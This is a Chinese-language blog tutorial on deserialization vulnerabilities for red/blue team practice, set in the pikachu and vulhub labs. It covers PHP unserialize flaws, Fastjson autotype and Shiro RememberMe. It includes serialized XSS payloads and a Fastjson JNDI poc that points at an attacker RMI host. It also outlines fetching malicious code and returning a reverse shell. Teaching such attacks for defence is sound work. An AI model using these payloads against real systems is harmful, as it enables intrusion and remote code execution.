2024HW --->反序列化漏洞!

news2024/11/26 14:48:28

对于反序列化,这个漏洞也是常用的,不过涉及到的方面非常非常广,比其他漏洞也难很多

于是本篇文章就分成PHP和JAVA的反序列化来讲讲

1.反序列化

想要理解反序列化,首先就要理解序列化

序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

对于反序列化之后的内容,一般有如下

2.PHP反序列化漏洞

对于PHP的序列化和反序列化,一般是涉及到两个函数

unserialize()   反序列化
serialize()    序列化
反序列化被利用一般有以下三个特点
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如filename

配合上以下的函数,就能达到RCE,任意文件删除,XSS...的效果

说了这么多,我们还是来举个栗子吧,先来看一段序列化的代码
<?php

class SerializeTest
{
  public $var = "whoami";
}

$obj = new SerializeTest();

echo serialize($obj);

结果就是这样的

解释一下,这个过程,就是把SerializeTest这个对象里面的$var属性进行序列化  ,格式如下

O(Obejetc):13("类的长度"):"SerializeTest"(类名):1(序列化的属性个数):{s(序列化的是字符串类型):3(长度):"var"(属性名);s(类型):6(长度):"whoami"(内容)}

反序列化的过程如下

<?php

class SerializeTest
{
  public $var = "whoami";
}

$get=$_GET['test'];
$test=unserialize($get);
echo $test->var;

?>

然后我们把刚才序列化之后的东西传进去

看到传入的东西被成功输出,而且是输出我们传入的东西

那么,如果我们输出一些别的东西捏!!!

O:13:"SerializeTest":1:{s:3:"var";s:29:"<script>alert("666")</script>";}

可以看见,如果过滤不严,被攻击者知道了类名,属性名,并且参数可控,而且有执行命令的操作,就会导致反序列化的漏洞!!!

那么就拿pikachu的靶场来练习一下

这没源代码我玩集贸啊?搞错了,上个源代码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

赶紧代码审计,可以发现它的类中用到一个$test的属性,并且通过了反序列化之后直接将test的内容输出,那就最简单的XSS攻击就好!!!

写个脚本

<?php

class S
{
   public $test;
   function __construct(){
    $this->test='<script>alert("这就是反序列化")</script>';
   }
}

$test =new S;
echo serialize($test);

?>

然后就能看见

于是把poc粘贴到那个窗口就好,成功弹窗

3.JAVA反序列化漏洞

有了上面的php反序列化之后,我们就可以来看java的反序列化了

那么我们话不多说,直接上案例

1.Fastjson反序列化

对于这个fastjson,可以说是黑客和修复人员在斗智斗勇啊!!

哈哈哈哈哈

那么,我们就来讲一下它的原理

原理

正常序列化之后就是这样的格式

那么问题就来了,它属于哪一个类呢???为了解决这个问题

就引入了一个罪魁祸首!!!! Autotype!!!变成了这样!!!

那么问题就是这样的出现的

com.sun.rowset.JdbcRowSetImpl ,dataSourceName支持传入一个rmi的源,可以实现JNDI注
入攻击(这里是不是和log4j2的原理很像,虽然少了一步序列化)
所以它的poc就是这样了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}

八九不离十吧

  1. 构造恶意的poc,然后被反序列化,去访问我们VPS上的LDAP服务
  2. 然后再去访问我们的HTTP端口,下载恶意代码
  3. 最后执行这个恶意代码,并且反弹shell到我们的VPS

至此,就是Fastjson的原理了

2.Apache Shiro反序列化

Shiro反序列化可以说是蓝队或者红队面试的一个必问的问题!!!!

原理

那么Shiro在哪里产生了反序列化呢??? 就在RememerMe这里

很多shiro的登录界面都提供了记住我(RememberMe)这个功能,其中的内容直接放在了Cookie里面,包含了用户的一些信息。

可以看见,这个框架的特点就是有这个字段这里,就拿vulhub来讲一下这个

1.CVE-2010-3863

绕过目录,这个其实和反序列化没什么关系,只不过是我靶场开错了,于是顺便就讲一下这个

它这一关,就是直接在URL后面加上一个admin就可以绕过认证,直接登录

2.CVE-2016-4437

这个就是可以直接RCE了

直接用工具

不知道是不是插件出的问题,还是直接用工具去扫吧

弹个shell出来玩玩,一眼docker!!!

原理其实还就是因为,它的AES加密的时候,对应的密钥是直接写死在了代码里面,而且shiro又是一个开源的框架,所以就能被攻击者恶意利用!!

虽然现在的shiro不写密钥了,但是还是可以爆破!!! 原理???

其实原理就是你用正确密钥加密后的东西和错误的密钥加密的返回值是不同的

这也就解释了为什么工具能检测出是哪一个密钥的原因!!!!

顺便提一下,这些工具都不能用最新的版本,只能用jdk1.8

检测工具的话,还是很多,不过我喜欢用利群,嘻嘻嘻

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1580048.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

默克尔(Merkle)树 - 原理及用途

默克尔&#xff08;Merkle&#xff09;树的原理以及用途 引言 在当今数字化时代&#xff0c;确保数据的完整性是至关重要的。默克尔树作为一种高效的数据结构&#xff0c;被广泛应用于网络安全、分布式系统以及加密货币等领域&#xff0c;用于验证大量数据的完整性和一致性 数…

代码随想录算法训练营Day48|LC198 打家劫舍LC213 打家劫舍IILC337 打家劫舍III

一句话总结&#xff1a;前两题白给&#xff0c;第三题树形DP有点难。 原题链接&#xff1a;198 打家劫舍 滚动数组直接秒了。 class Solution {public int rob(int[] nums) {int n nums.length;int first 0, second nums[0];for (int i 2; i < n; i) {int tmp Math.m…

mega2560读取sick位移传感器

本次的项目中&#xff0c;需要使用到mega2560来读取sick位移传感器的模拟量&#xff0c;再把模拟量进行转换&#xff0c;从而使得到的数据为位移传感器的示数。 下面是位移传感器的接线图&#xff1a;棕色线接&#xff0b;24v&#xff0c;蓝色线接0v&#xff0c;白色线为模拟量…

JS 表单验证

点击注册的时候&#xff0c;渲染出来&#xff0c;验证码是自动获取出来的 html&#xff1a; <div class"div1">用户名<input type"text" id"yhm"><span id"span1"></span><br>密码<input type"…

mysql 查询变量@i:=@i+1

学习完mysql的查询&#xff1a;基本查询&#xff0c;连接查询和子查询和mysql 正则表达式查询&#xff0c;接下来先学习下变量查询。 mysql中没有oracle序列号那一列。mysql可以使用查询变量的方式去处理。我们先了解下查询变量&#xff0c;后面应用起来就更清晰。 1&#xff0…

【科东软件】鸿道Intewell-Lin_V2.2.0 软件版本发布

鸿道操作系统 Intewell-Lin_V2.2.0 软件版本发布 Intewell-Lin_V2.2.0 版本号&#xff1a;V2.2.0 版本或修改说明 增加功能&#xff1a; 1、增加T3板级支持 支持硬件列表

深入探索实时音视频技术:RTC程序设计权威指南

&#x1f482; 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】&#x1f91f; 一站式轻松构建小程序、Web网站、移动应用&#xff1a;&#x1f449;注册地址&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交…

2024年32款数据分析工具分五大类总览

数据分析工具在现代商业和科学中扮演着不可或缺的角色&#xff0c;为组织和个人提供了深入洞察和明智决策的能力。这些工具不仅能够处理大规模的数据集&#xff0c;还能通过强大的分析和可视化功能揭示隐藏在数据背后的模式和趋势。数据分析工具软件主要可以划分为以下五个类别…

网络与通信-路由协议及基础配置

网络协议之路由协议 静态路由&#xff1a; 明细静态 默认静态 动态路由&#xff1a;&#xff08;可以自动去环&#xff09; RIP 十几台或几十台 &#xff08;维护上一代人搭建的网络&#xff09; OSPF 300台 &#xff08;最短路径算法&#xff09; ISIS 1200台 BGP…

深度学习500问——Chapter06: 循环神经网络(RNN)(2)

文章目录 6.4 CNN和RNN的区别 6.5 RNNs与FNNs有什么区别 6.6 RNNs训练和传统ANN训练异同点 6.7 为什么RNN训练的时候Loss波动很大 6.8 标准RNN前向输出流程 6.9 BPTT算法推导 6.9 RNN中为什么会出现梯度消失 6.10 如何解决RNN中的梯度消失问题 6.4 CNN和RNN的区别 类别特点描述…

主流三种驱动器方案特点简介

三种执行器原理相似&#xff0c;但在结构和部件上略有区别&#xff0c;因此在精度、响应速度等指标上 呈现不同效果&#xff1a; &#xff08;1&#xff09;TSA&#xff08;刚性驱动器&#xff09;&#xff1a;常规高速电机高传动比减速机高刚度力矩传感器&#xff0c;减 速机…

【Spring Cloud】服务容错中间件Sentinel入门

文章目录 什么是 SentinelSentinel 具有以下特征&#xff1a;Sentinel分为两个部分: 安装 Sentinel 控制台下载jar包&#xff0c;解压到文件夹启动控制台访问了解控制台的使用原理 微服务集成 Sentinel添加依赖增加配置测试用例编写启动程序 实现接口限流总结 欢迎来到阿Q社区 …

【QingHub】QingHub Studio企业级应用开发管理

QingHub Studio企业级应用开发设计器是QingHub Studio的一个核心模块&#xff0c;它可以实现应用搭建、团队管理&#xff0c;共享开发&#xff0c;可以快速接入API接口&#xff0c;复杂功能可以通过自定义脚本快速实现业务逻辑。打通前端开发与后台业务逻辑一体化。通过可视化的…

Vue - 2( 10000 字 Vue 入门级教程)

一&#xff1a;初识 Vue 1.1 绑定样式 1.1.1 绑定 class 样式 <!DOCTYPE html> <html><head><meta charset"UTF-8" /><title>绑定样式</title><style>......</style><script type"text/javascript"…

【六 (3)机器学习-机器学习建模步骤/kaggle房价回归实战】

目录 文章导航一、确定问题和目标&#xff1a;1、业务需求分析&#xff1a;2、问题定义&#xff1a;3、目标设定&#xff1a;4、数据可行性评估&#xff1a;5、资源评估&#xff1a;6、风险评估&#xff1a; 二、数据收集&#xff1a;1、明确数据需求2、选择数据来源3、考虑数据…

uniapp在发行原始云打包ios时提示私钥证书不是有效的p12文件

uniapp在发行原始云打包ios时提示私钥证书不是有效的p12文件 解决方法&#xff1a; 经过我多次的创建p12证书文件&#xff0c;然后更换设备继续创建&#xff0c;仍然存在这个问题&#xff0c;通过排查不是.p12的本身的问题&#xff0c;而是命名的问题&#xff0c;命名不能是中…

你真的了解区块链游戏吗?

随着区块链技术的不断发展和普及&#xff0c;越来越多的人开始关注区块链游戏这一新兴领域。然而&#xff0c;很多人对于区块链游戏的了解仅限于一些表面的概念和特点&#xff0c;真正深入了解的人并不多。那么&#xff0c;你真的了解区块链游戏吗&#xff1f; 首先&#xff0…

外包干了25天,技术退步明显.......

先说一下自己的情况&#xff0c;大专生&#xff0c;18年通过校招进入杭州某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了四年的功能测…

状态模式(行为型)

目录 一、前言 二、状态模式 三、总结 一、前言 状态模式(State Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许一个对象在其内部状态改变时改变它的行为。对象看起来好像修改了它的类&#xff0c;但实际上&#xff0c;由于状态模式的引入&#xff0c;行为的变…

DOM对象(Document Object Model 文档对象模型)

目录 1、什么是DOM 1&#xff09;是一个标准 2&#xff09;是一个对象 2、原理及作用 3、Element元素的获取方法 4、方法使用举例 修改页面内容 1&#xff09;获取DOM元素 2&#xff09;修改元素内容 3&#xff09;修改元素属性 4&#xff09;添加和删除元素 5、应…